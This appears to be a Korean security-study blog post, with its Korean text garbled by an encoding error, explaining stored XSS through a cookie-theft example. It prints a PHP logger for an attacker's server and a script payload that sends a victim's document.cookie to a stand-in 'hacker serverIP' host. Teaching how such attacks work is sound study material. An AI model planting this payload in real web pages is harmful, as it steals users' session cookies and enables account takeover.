ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค.
์ ๋ชฉ๊ทธ๋๋ก ์ด์ฉ๋ค๋ณด๋ ์ ๋ง ๊ทธ๋ฅ Stored XSS์ ์์ฑํด๋ณด๋ คํ๋ค.
์์ด ๊ทธ๋๋ก ์ ์ฅ XSS์ด๋ค. ์ฆ, ๊ฒ์ํ๊ฐ์ ๊ณณ์ ๊ณต๊ฒฉ์๊ฐ ๊ธ์ ๋ฏธ๋ฆฌ ์์ฑํ์ฌ๋๊ณ ํผํด์๊ฐ ๊ฒ์ํ์ ํด๋ฆญํ๋ฉด ๋์ํ์ฌ ์ ์ฑํ์๋ฅผ ํ๋ ๊ฒ์ด๋ค.
์๋ฅผ ๋ค์ด ์ด๋ฐ๊ฒ์ด๋ค. ๊ฒ์ํ์ "์ด๊ฒ ์ข๋ณด์ธ์. ์์ดํฐ 14Pro ํ ์ธ ์์ฒญํด์!" ์ด๋ฐ์์ ์ ๋ชฉ์ ๋ง๋ค์ด๋๊ณ ํด๋ฆญํ๊ธฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ ๊ฒ์ด๋ค. ๋ฌผ๋ก ๊ฒ์ํ์ ๊ธ์ ์์ฑํด๋๊ณ ๋ง์ด๋ค.
์ฌ๊ธฐ์๋ ๊ฐ๋จํ์ง๋ง ์ค์ ๋ก ๋์ํ๋ php๊ตฌ๋ฌธ์ ์์ฑํ ๊ฒ์ด๊ธฐ ๋๋ฌธ์ ์ ์ฉํ๋ฉด ์ ๋์ ์ผ๋ก ์๋๋ค.
ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๊ฐ์ฌํฉ๋๋ค.
cookie๋ฅผ ํ์ทจํ๋ ๊ฒ์ ์๋ก ๋ค์ด๋ณด์
๊ณต๊ฒฉ์๋ ๋ฏธ๋ฆฌ ๊ณต๊ฒฉ์ ์๋ฒ์ ํด๋น ํ์ผ์ ๋ง๋ค์ด๋๋ค.
<?php
$cookie=$_GET['data'];
$atime=data("y-m-d H:m:s");
$log=fopen("cookie.txt","a");
fwrite($log,$atime."".$cookie."\r\n");
fclose($log);
?>
ํด๋น ํ์ผ์ ๋ง๋ค์ด ๋๊ณ ๊ฒ์ํ์ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ๋ค.
<script>window.open("hacker serverIP/cookie.php?data="+document.cookie)</script>
๋์ถฉ ์ด๋ฐ์์ผ๋ก ์์ฑํ๋ค๊ณ ์๊ฐํด๋ณด์
๊ทธ๋ผ ํผํด์๊ฐ ๊ฒ์๊ธ์ ํด๋ฆญํ๊ฒ ๋๋ค๋ฉด script๊ฐ ๋์ํ์ฌ cookie๋ฅผ ์ ์กํ๊ฒ ๋ ๊ฒ์ด๋ค.
์ด๋ฐ์์ผ๋ก ๋ง์ด๋ค.
์ด๋ ค์ด ๋ด์ฉ์ ์๋์ง๋ง ์น์ ๊ดํ์ฌ ๊ณต๋ถํ๋ค ๋ณด๋ฉด ์์์ผํ๋ ๋ด์ฉ์ด๋ผ ๊ทธ๋ฅ ๋ด์ ๋ง๋๋ก ์ ๋ฆฌํด๋ณด์๋ค.
๋ค์ํ๋ฒ ๋งํ์ง๋ง ์ ๋์ ์ผ๋ก ์ ์ฉํ์ง๋ง๊ณ ๊ณต๋ถ์ฉ์ผ๋ก๋ง ์ฌ์ฉํด์ผํ๋ค.
'Security Study > Web' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[์น์ทจ์ฝ์ ] XSS ํ๋ค๋ณด๋... (0) | 2023.07.20 |
---|---|
Web ์ทจ์ฝ์ ๊ด๋ จ ๋ด์ฉ ์ ๋ฆฌ (0) | 2023.03.10 |
owasp zap tutorial :) (0) | 2016.12.27 |
web server ์ทจ์ฝ์ ์ค์บ๋ nikto :) (0) | 2016.12.21 |
SQL injections vulnerabilities in Stack Overflow PHP questions (0) | 2016.12.14 |
๋๊ธ